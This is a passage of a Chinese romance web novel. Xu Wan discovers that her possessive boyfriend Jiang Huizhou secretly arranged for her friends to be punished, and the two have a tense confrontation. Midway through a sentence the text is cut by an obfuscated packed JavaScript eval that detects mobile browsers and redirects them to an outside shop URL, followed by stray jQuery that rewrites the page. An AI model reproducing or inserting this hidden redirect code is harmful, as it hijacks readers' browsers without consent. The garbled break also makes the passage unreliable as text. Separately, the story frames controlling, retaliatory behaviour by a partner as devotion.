她只好找出商闵的联系方式,给他发去信息:
【商先生,打扰你一下,请问你有温瑗小姐的联系方式吗?我有点事找她。】
商闵秒回:【好,我发给你。】
合上手机,恰巧江回州推开包厢门进来。
一桌子的合作方纷纷起身,争先恐后跟他打招呼。
他随意点点头,自然地在主位坐下,举起酒杯朝他们示意:“抱歉,来晚了。”
话是道歉,语气没有丝毫起伏。
光洁的高脚玻璃杯映出他冷峻硬朗的面容,双眸深如潭水,唇角轻扯,锋芒锐利。
推杯换盏间,身侧的商闵偏头过来,一本正经像要商讨什么大事。
“你女朋友给我发消息了。”
江回州眉眼如刃,横眸过来。
“说是要温瑗的联系方式。”商闵“嘿”一声,“她俩不就见过一次吗?这丫头片子还挺招人喜欢的。”
江回州握杯的手不动声色收紧。
“我知道了。”他轻抿一口,淡淡垂眸。
商闵见他没反应,以为没什么大事,继续说:“城北那套房子设计师说已经按你的要求装好了,拎包即住。”
江回州这才分给他一个眼神:“谢了。”
“嗨,说这些,不过你也真舍得,那么好的房子,没一个下不来吧?啧啧啧,你看我能不能当你女朋友……”
商闵得到一记重踹。
——
温瑗的微信是秒同意的。
许莞问她方不方便打电话,得到肯定的回答后,她拨过去。
电话那头的人一改上次见面的活泼热情,甚至有些小心翼翼问:“莞莞姐,是有什么事找我吗?”
“嗯,想问你点事,”她放柔嗓音,“最近过得好吗?”
“很好啊!”温瑗的话有些着急,还提高了音量,好像要特意说给谁听,“一切都好!”
许莞放松了些,看来江回州并没有……
“回州哥,我最近都乖乖在家!”
许莞刚提起的笑容瞬间消失。
“瑗瑗,你在说什么呢?江回州不在这里。”
“真的吗?”温瑗小声试探。
“真的,不信我们可以打视频。”
许莞直觉她要说出许多她不知道的事。
“真的?”
“真的。”
温瑗不死心地用各种语气叫江回州。
“回州哥?”
“回州哥?”
“江回州?”
“你个死江回州!”
她的嗓音骤然加粗,鬼哭狼嚎起来:“莞莞姐!你可要为我做主啊!你、你都不知道,江回州他禽兽不如!”
温瑗声泪俱下控诉道:“他让我爸把我卡停了,还说我在外面沾花惹草,让我爸罚我三个月不能出去玩!三个月啊……你是不知道,我这三个月是怎么过来的……”
“他这个小气鬼,不就是看那天我送给你个发卡,想跟你做好朋友,他就这么对我!他还说要是我让你知道,就让我爸罚我在家一年不出门!”
“他是我爸甲方,再加上我爸本来就不喜欢看我往外跑,他肯定会听江回州的。”
“这个奸诈小人!”
她把桌子锤得框框作响。
许莞觉得周身温度骤降,如坠冰窟。
她蜷起膝盖,额头轻埋,紧紧拥住自己,想要控制住全身的颤抖。
温瑗听到她沉重的呼吸声,意识到自己可能说错话了,她干笑两声,还反过来安慰她。
“其实没什么事哈哈哈,我在家好吃好喝的也挺自在的……”
许莞稳住自己的心绪,轻声道:“那你现在还好吗?”
“当然好啦!”她哼哼两声,摩拳擦掌,“莞莞姐,你不用担心我,我马上就要出国上学了,不会再被他控制住了!”
许莞知道不会有那么简单,江回州要是想,人在国外他的手也能伸过去。
她咬住嘴唇,红润的唇瓣上泛起一抹苍白:“瑗瑗,对不起,是我连累你了,这件事我一定让江回州给你道歉。”
温瑗当然想看江回州吃瘪的样子,但她不敢想要是让他来道歉,等前脚出门,后脚就在许莞不知道的地方把她灭了吧?
她气焰全收,惶恐道:“不用了不用了,反正对我也没什么伤害嘛,我就当在家休息了。”
许莞又和她聊了几句别的,约定下次一起吃饭后就挂了电话。
江回州的飞机在中午十一点落地。
整整一夜,许莞都没合眼。
窗帘紧闭,卧室内微弱的灯光来自她手边的手机,亮起的屏幕上,有江回州刚发来的消息。
【宝宝,有个礼物给你。】
【等我中午一起吃饭。】
【好想你啊宝宝。】
【怎么不回我,还没睡醒吗?】
【是不是又熬夜学习了?我把午饭打包回去。】
十一点半,楼下玄关传来响动。
许莞一动不动坐在床上,像什么也没听到。
江回州轻手轻脚推开卧室门,昏暗的室内得以泄进一道亮光。
他抬眸和坐在床边的许莞对上视线,唇角立即弯起,温柔道:“刚醒吗?先来吃饭。”
他将手中的食盒放在床头柜上,蹲在她脚边帮她穿鞋。
冰凉的脚心落在江回州掌心,他娴熟地放在自己腰间捂热,然后套上袜子。
拖鞋摆好放在她脚边,江回州仰起脸,眼中如春水般温润。
“怎么不说话?嗯?”他捏捏她的脚腕。
从看到他那刻起,压抑了一整晚的怒火陡然拔高。
她的眼中分明一片清明,江回州不可能看不出来,可他还是装作不知道的样子问她是不是刚醒。
他蹲在她身前,像往常一样悉心对她。
她又突然变成了个被扎漏气的气球,不知该从何向他问起。
会不会……会不会其实有什么误会。
许莞抱着心底最后一点希望和挣扎,总算开口说话。
“不是说有礼物?什么礼物?”
江回州送过她很多名贵的首饰珠宝作礼物,所以她自然以为这次也无异。
她等待着他从口袋里掏出来,然后替她戴在身上,等他离开,这些首饰又立刻会被她卸下,收进抽屉里落灰。
没想到,他拿出来的是一份文件。
与其说是文件,倒不如说是证明——
她一眼看到最上面鲜红的本子上几个大字:不动产权证书。
许莞愣了一下,没有伸手去接:“给我这个干什么?”
江回州还保持着半跪在她面前,这样的姿势让她很轻易可以看清他眼底的情绪。
比如多得快要溢出的爱意情愫。
“宝宝,我们第一次吵架的时候你说要回学校,后来还说这是我家,没有赶我走,可是我告诉过你,这里也是你的家。你也是这里的主人,看不惯我可以把我赶出去。我想是我做得不够好,没有让你在这里感受到家的感觉,所以吵架就会想要逃离。”
“如果你是因为房子是我的名字才觉得没有归属感的话,那我想让你也拥有这样的房子。”
许莞听懂了。
江回州不想让她说出“回学校”这种话是因为无奈之举,他想让她在无奈之外多一个心甘情愿的选项。
许莞的指尖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881988|188064||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下意识抓住床单,一片褶皱。
她的胸腔处如过电流一样,轻痒酥麻。
他将两本房产证一齐塞入她手里。
“宝宝,现在这两处房子都是你的了。”
许莞无力地垂下头,心底仿佛热水泡过的柠檬,又苦又酸。
他这样,她该如何开口质问他,在温馨的时刻再掀起一场争吵?
“宝宝?你不舒服吗?”江回州起身坐在许莞旁边,抬手拥住她。
许莞的头靠在他怀中,自然看不到头顶上方的人眼神渐深渐沉。
“江回州,你是不是,有什么事瞒着我。”她最终艰涩启唇。
这样的话,江回州也问过她,那时她十分忐忑不安,而今身份对调,他却坦然。
“宝宝,我在外面一直很安分守己,没有和任何异性有肢体接触,也没有……”
许莞推开他,眉宇笼罩着失望:“江回州,你知道我说的不是这个。”
江回州的声音戛然而止。
他的神色有一瞬变得阴冷,但在她看过来之前,又切换上无辜温和的模样。
他捧起许莞的脸,亲亲她被挤压隆起的脸颊,说:“宝宝,是不是有坏人跟你说什么了?”
她挥开江回州的手,正色道:“好,那我直说了,为什么那么对温瑗和闻康乐?”
江回州扬了扬眉,不解道:“那不是他们活该吗?”
话音未落,一个重重的巴掌落在他脸上,打得他偏过头。
一片死寂。
江回州顶顶腮帮子,脸上火辣辣的疼。
许莞用的劲并不算大,只是她尖利的指甲勾过下颌,留下一道血印。
他深吸一口气,压下眼中的烦躁狠戾,一字一顿道:“你为了一些无关紧要的人,打我?”
许莞胸前剧烈起伏:“他们不是无关紧要的人!他们是我的朋友!”
“朋友?”江回州冷笑一声,“他们是觊觎你的人,你以为我大方到连别人接近你都坐以待毙?”
“那你有没有想过尊重我?”
她扬起手又要给他一巴掌,却被江回州紧紧箍住手腕。
“看来我还是下手轻了。”他怒极反笑,眼底寒意凌人,“我早该把他们弄得远远儿的,再也没机会在你面前嚼舌根!”
许莞血气快速上涌,几乎要冲破胸膛。
他根本就没觉得自己错了!简直不可理喻!
她紧攥着衣角,艰难地吐出几个字:“江回州,你要是……不跟瑗瑗还有学长道歉的话……我……”
她不知道有什么能威胁江回州的,到最后,先把自己的眼眶逼红。
不久前江回州说过的话一语成谶,摆在床上的两本红彤彤的房产证此刻像是一个笑话。
她不想在这种时候眼泪失禁,以致于自己看上去像不占理的那方。
所以她背过身,想要出门自己先冷静一下。
然而江回州会错了她的意思,以为她要离开。
在过去的两次吵架时,他甘愿退步,甘愿放下身段哄她,不过是在他心里早有了对策。
许莞不听他的,他可以用手段让别人听他的。
可如今这些赤裸裸摊开在她面前,她认为他是一个卑劣的人,想要远离他。
他不允许。
做这些事的前提就是想让许莞离他近一点,让她眼中只有自己……
江回州脸色铁青,他大步上前从后搂住许莞,气息烫在她的耳后:“所以你现在要离开了是吗?”
他的脑中浮现一个人的身影。
“就像许笑一样,一走了之?”
许莞的大脑一片空白,她哆嗦着嘴唇道:“你说什么?”